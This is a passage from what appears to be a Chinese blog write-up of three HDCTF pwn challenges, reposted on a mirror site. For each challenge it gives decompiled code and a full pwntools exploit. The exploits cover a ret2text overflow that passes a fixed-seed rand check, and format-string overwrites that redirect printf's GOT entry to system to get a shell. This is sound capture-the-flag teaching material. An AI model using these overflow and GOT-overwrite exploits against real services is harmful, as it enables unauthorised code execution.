当前位置: 首页 > news >正文

可以做词云的网站重庆建站管理系统价格

可以做词云的网站,重庆建站管理系统价格,浏览器网站建设的步骤过程,免费建个超市网站Index 前言Pwnner分析EXP: KEEP_ON分析EXP: Minions分析EXP: 后记: 前言 本人是菜狗,比赛的时候只做出来1题,2题有思路但是不会,还是太菜了。 栈迁移还是不会,但又都是栈迁移的题,真头大。得找时间好好学学…

Index

  • 前言
  • Pwnner
    • 分析
    • EXP:
  • KEEP_ON
    • 分析
    • EXP:
  • Minions
    • 分析
    • EXP:
  • 后记:

前言

本人是菜狗,比赛的时候只做出来1题,2题有思路但是不会,还是太菜了。
栈迁移还是不会,但又都是栈迁移的题,真头大。得找时间好好学学。

Pwnner

分析

一题很简单的ret2text题。

__int64 vuln()
{int v0; // ebxchar buf[16]; // [rsp+0h] [rbp-50h] BYREFchar v3[64]; // [rsp+10h] [rbp-40h] BYREFsrand(0x39u);puts("you should prove that you love pwn,so input your name:");read(0, buf, 0x10uLL);v0 = atoi(buf);if ( v0 == rand() ){puts("ok,you have a little cognition about pwn,so what will you do next?");read(0, v3, 0x100uLL);}else{puts("sorry,you are not a real pwnner");}return 0LL;
}

可以看到使用了srand函数,参数是0x39,而不是时间戳。
那就很简单了,只要写一个在线C语言小程序跑一个随机数出来就行了。
我用的是Python的ctypes库。

相信看这篇文章的师傅ret2text都很熟悉吧,信手拈来的程度,我这里就不多赘述了,感兴趣可以去我主页翻刚开始复健Pwn的时候的学习文章。

EXP:

from pwn import *
import ctypes context(arch='amd64', os='linux', log_level='debug')
Padding = b'A' * (0x40 + 0x08)libc = ctypes.CDLL("libc.so.6")libc.srand.argtypes = [ctypes.c_uint]
libc.srand(0x39)
rand_result = libc.rand()#io = process('./pwnner')
io = remote('node1.anna.nssctf.cn',28523)
ret = 0x40028Bio.recvuntil(b'so input your name:\n')
io.sendline(str(rand_result))
io.recvuntil(b'so what will you do next?\n')Payload = Padding + p64(ret) + p64(0x4008B2)
io.sendline(Payload)
io.interactive()

KEEP_ON

分析

没错,这就是我比赛的时候有思路没做出来的题,同样还有下一题。
实际上很简单,存在两种做法:
栈迁移以及格式化字符串
这里写的是格式化字符串的方法,因为方便快捷,下篇文章再说栈迁移该怎么打。

__int64 vuln()
{char s[80]; // [rsp+0h] [rbp-50h] BYREFmemset(s, 0, sizeof(s));puts("please show me your name: ");read(0, s, 0x48uLL);printf("hello,");printf(s);puts("keep on !");read(0, s, 0x60uLL);return 0LL;
}

主函数是这样的,我们可以通过格式化字符串漏洞修改printf_gotsystem_plt
先计算出我们的偏移:
在这里插入图片描述
偏移为6。

EXP:

from PwnModules import *#io = process('./hdctf')
io = remote('node4.anna.nssctf.cn', 28144)
elf = ELF('./hdctf')
context(arch='amd64', os='linux', log_level='debug')io.recvuntil(b'name: \n')printf_got = elf.got['printf']
system_plt = elf.plt['system']
vuln = elf.sym['vuln']payload = fmtstr_payload(6, {printf_got: system_plt})
io.send(payload)payload_ret = b'A' * (0x50 + 0x08) + p64(vuln)
io.recvuntil(b'keep on !\n')
io.send(payload_ret)
io.recvuntil(b'name: \n')
io.send(b'/bin/sh\x00')io.interactive()

切记不能使用sendlinesendline会附加一个换行符,而本题Payload长度有限制,加上换行符会出现不可预料的问题。

Minions

分析

和 KEEP_ON 一样的做法,也可以使用栈迁移,一样下次再说。
主要进行利用的函数是

int vuln()
{char buf[208]; // [rsp+0h] [rbp-D0h] BYREFputs("Welcome to HDCTF.What you name?\n");read(0, buf, 0xD0uLL);printf("Hello,");return printf(buf);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[48]; // [rsp+0h] [rbp-30h] BYREFinit();vuln();puts("\nDo you have an invitation key?");if ( key == 102 ){puts("welcome,tell me more about you");read(0, buf, 0x40uLL);puts("That's great.Do you like Minions?");read(0, &hdctf, 0x28uLL);}else{puts("sorry,you can't in");}return 0;
}

我们在main函数使用格式化字符串漏洞绕过条件。
然后和KEEP_ON一样打劫持printf_gotsystem_plt
在这里插入图片描述

EXP:

from pwn import *#io = process('./minions1')
io = remote('node1.anna.nssctf.cn','28190')
elf = ELF('./minions1')
context(arch='amd64', os='linux', log_level='debug')Padding = b'A' * (0xD0-0x01) + b'B' * 0x01
key = 0x6010A0
printf_got = elf.got['printf']
system_plt = elf.plt['system']
vuln = elf.sym['_start']
Padding = b'A' * (0x30 + 0x08)Payload_Bypass = fmtstr_payload(6, {key: 0x66})
Payload_Replace = fmtstr_payload(6, {printf_got: system_plt})
Payload_Vuln = Padding + p64(vuln)
Payload_Shell = b'/bin/sh\x00'io.recvuntil(b'name?\n')
io.send(Payload_Bypass)io.recvuntil(b'about you\n')
io.send(Payload_Vuln)
io.recvuntil(b'Minions?\n')
io.send(b'Kaguya')io.recvuntil(b'name?\n\n')
io.send(Payload_Replace)io.recvuntil(b'about you\n')
io.send(Payload_Vuln)
io.recvuntil(b'Minions?\n')
io.send(b'Kaguya')io.recvuntil(b'name?\n\n')
io.send(Payload_Shell)io.interactive()

后记:

对我来说还是有提升的,虽然都是简单题目。
但是慢慢来,人总有个成长的过程。
相信当我解决完这几题栈迁移后,我的水平会进一步提升。

http://www.yayakq.cn/news/23136/

相关文章:

  • 昆山移动网站建设亚马逊雨林深处
  • 青岛网站建设那些做测评的网站好
  • 网站如何做中英文双语言版本it外包公司值得去吗
  • 做网站过时了做海外推广的公司
  • 做视频网站如何利用用户的弱点云虚拟主机 wordpress
  • 石大网页设计与网站建设客观题赣州微和联网络科技有限公司
  • 中国娱乐设计网站官网怎样可以查看网站是由哪个公司做的
  • 做电商网站公司简介黄页是干什么用的
  • 机械外贸网站建设电商还有发展前景吗
  • 专业网站开发方案怎样做自己的个人网站
  • 公司网站建设的方案浙江新地标建设集团网站
  • asp资源下载网站毕业设计代做网站都有哪些
  • 网站首页版式lol网站建设
  • 做影评的网站模版如何写网站优化目标
  • 怎么做安居客网站wordpress更改主站点
  • 深圳旅游网站建设温州市网站建设
  • 故城网站建设西安便宜网站建设
  • 二手书网站开发设计开发区官网
  • 宁波品牌设计广东seo推广
  • 微信导航网站怎么做的wordpress制作小说网站模板下载
  • 中国万网建站平台兰州搜索引擎推广
  • 福建网站建设哪家专业怀来建设银行网站
  • app营销网站建设专业版式设计网站
  • 做公司网站阿里wordpress横向主题
  • 网站关键词指数查询工具网站原型是产品经理做
  • 设计精美的网站东莞手机微信网站制作
  • 烟台网站建设在哪搜索引擎营销的成功案例
  • 网站用什么好山西城乡和建设厅网站首页
  • app官网下载邯郸网站关键字优化
  • 网站建设与管理用什么软件仿站小工具怎么用